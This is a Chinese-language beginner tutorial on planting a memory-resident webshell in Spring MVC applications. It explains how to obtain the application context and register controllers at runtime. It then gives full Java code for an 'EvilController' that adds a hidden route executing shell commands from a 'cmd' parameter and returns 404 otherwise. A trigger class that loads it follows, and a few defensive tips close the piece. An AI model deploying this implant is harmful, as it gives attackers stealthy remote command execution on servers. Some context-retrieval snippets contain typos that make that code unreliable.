Spring Controller 内存马(纯新手)
字数 2631 2025-08-11 22:57:21
Spring Controller 内存马技术详解
1. 基本概念
1.1 Controller 基础
- Controller 负责处理由 DispatcherServlet 分发的请求
- 在 SpringMVC 中定义 Controller 的方法:
- 使用
@Controller标记类 - 使用
@RequestMapping和@RequestParam等注解定义 URL 请求和方法之间的映射
- 使用
1.2 核心注解
@Controller- 标记类为 Controller@RequestMapping- 定义请求映射@ResponseBody@RestController@GetMapping@PostMapping
1.3 Bean 概念
- Bean 是 Spring 框架的核心概念
- 由 Spring IoC 容器负责实例化、配置、组装和管理
- Spring 应用主要由一个个 bean 构成
1.4 ApplicationContext
ApplicationContext接口代表了 IoC 容器- 负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间的依赖
- 通过读取配置元数据(可以是 XML、Java 注解或 Java 代码)来获取对象信息
2. 实现思路
- 使用纯 Java 代码获取当前运行时上下文环境(Context)
- 在上下文环境中手动注册一个 Controller
- 在 Controller 的 RequestMapping 方法中写入 WebShell 逻辑
- 实现与 WebShell URL 的交互回显
3. 核心组件分析
3.1 DispatcherServlet
- 前端控制器的设计模式实现
- 负责将传入的 HTTP 请求定向到应用程序的其他控制器和处理程序
- 对 request 请求进行处理
3.2 Context 层级关系
- Spring 应用中可以有多个 Context:
- 一个 Root Context
- 多个 Child Context
- Child Context 可以访问 Root Context 中的 bean
- Root Context 无法访问 Child Context 中的 bean
- 所有 Context 创建后都会被添加到 ServletContext 中
3.3 ContextLoaderListener
- 用于初始化全局唯一的 Root Context (Root WebApplicationContext)
- 这个 Root Context 会与其他 Child Context 共享其 IoC 容器
4. 获取 Context 的方法
方法一:getCurrentWebApplicationContext()
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
- 获得 XmlWebApplicationContext 实例类型的 Root WebApplicationContext
方法二:WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(
RequestContextUtils.getWebApplicationContext(
((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
).getServletContext()
);
- 获得 Root WebApplicationContext
方法三:RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
((ServletRequestAttributes)RequestContextHandler.currentRequestAttributes()).getRequest()
);
- 通过 ServletRequest 实例获得 Child WebApplicationContext
方法四:getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframeword.web.servlet.DispatcherServlet.CONTEXT", 0);
- 直接从 ServletContext 属性中获取 Child WebApplicationContext
5. 注册 Controller 的核心技术
5.1 RequestMappingHandlerMapping
- 在容器启动后将系统中所有控制器方法的请求条件(RequestInfo)和控制器方法(HandlerMethod)的对应关系注册到内存中
- 处理 Controller 中带有
@RequestMapping注解的方法 - 关键方法
registerMapping:
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
super.registerMapping(mapping, handler, method);
this.updateConsumesCondition(mapping, method);
}
5.2 注册流程
- 获取 Context
- 获取 RequestMappingHandlerMapping
- 获取 MappingRegistry 属性
- 构造 RequestMappingInfo(url, condition)
- 调用 registry 方法注册 Controller
5.3 RequestMappingInfo
- 封装类,对 HTTP 请求中的相关信息进行封装
- 包含注册时需要的属性:
- URL
- condition (即
@RequestMapping注解中的 method)
5.4 HandlerMethod
- 对 Controller 处理请求方法的封装
- 包含:
- 方法所属的 bean
- method 对象
- 参数等
6. Spring MVC 初始化流程
afterPropertiesSet方法初始化RequestMappingInfo.BuilderConfiguration- 调用父类
AbstractHandlerMethodMapping的afterPropertiesSet方法 - 从 context 中查找注册的 Bean
- 循环遍历,调用
processCandidateBean(beanName)处理对应的 bean - 通过
isHandler(beanType)判断是否需要处理 - 使用
detectHandlerMethods查找 handler methods 并注册
7. 动态注册 Controller 实现
7.1 关键映射关系
- URL 与 RequestMappingInfo 的映射
- RequestMappingInfo 与 HandlerMethod 的映射
7.2 完整实现代码
package com.example.eajava_springboot.controller;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class EvilController {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的Method 对象
Method method2 = null;
try {
method2 = EvilController.class.getMethod("test");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 3. 定义访问 controller 的URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/yinzkk");
// 4. 定义允许访问 controller 的HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
EvilController evilController = new EvilController("aaa");
mappingHandlerMapping.registerMapping(info, evilController, method2);
}
public EvilController(String aaa) {}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
7.3 触发类实现
package com.example.eajava_springboot.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Controller
@RequestMapping("/addSpringController")
public class AddSpringController {
@GetMapping
public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
try {
Class.forName("com.example.eajava_springboot.controller.EvilController");
httpServletResponse.getWriter().println("add successfully!controller!!!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
8. 技术要点总结
- Context 获取:掌握多种获取 WebApplicationContext 的方法
- 反射运用:通过反射获取和操作关键类和属性
- RequestMappingHandlerMapping:理解其在请求映射中的核心作用
- 动态注册机制:掌握 Controller 动态注册的完整流程
- 内存驻留:实现无文件、纯内存的 WebShell 驻留
9. 防御建议
- 监控异常的 URL 映射注册行为
- 限制关键类的反射调用
- 检查内存中异常的 Controller 实例
- 实施严格的权限控制和访问审计
- 定期进行安全扫描和代码审计